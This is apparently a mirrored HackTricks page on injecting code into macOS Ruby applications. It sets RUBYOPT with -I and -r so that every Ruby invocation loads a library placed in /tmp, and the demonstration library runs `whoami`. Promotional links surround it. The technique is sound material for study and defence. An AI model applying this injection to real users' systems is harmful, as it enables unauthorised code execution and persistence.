mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
3 KiB
3 KiB
macOS Ruby Applications Injection
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
RUBYOPT
Using this env variable it's possible to add new params to ruby whenever it gets executed. Although the param -e
cannot be used to specify ruby code to execute, it's possible to use the params -I
and -r
to add a new folder to the libraries to load path and then specify a library to load.
Create the library inject.rb
in /tmp
:
{% code title="inject.rb" %}
puts `whoami`
{% endcode %}
Create anywahere a ruby script like:
{% code title="hello.rb" %}
puts 'Hello, World!'
{% endcode %}
Then make an arbitrary ruby script load it with:
RUBYOPT="-I/tmp -rinject" ruby hello.rb
Fun fact, it works even with param --disable-rubyopt
:
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.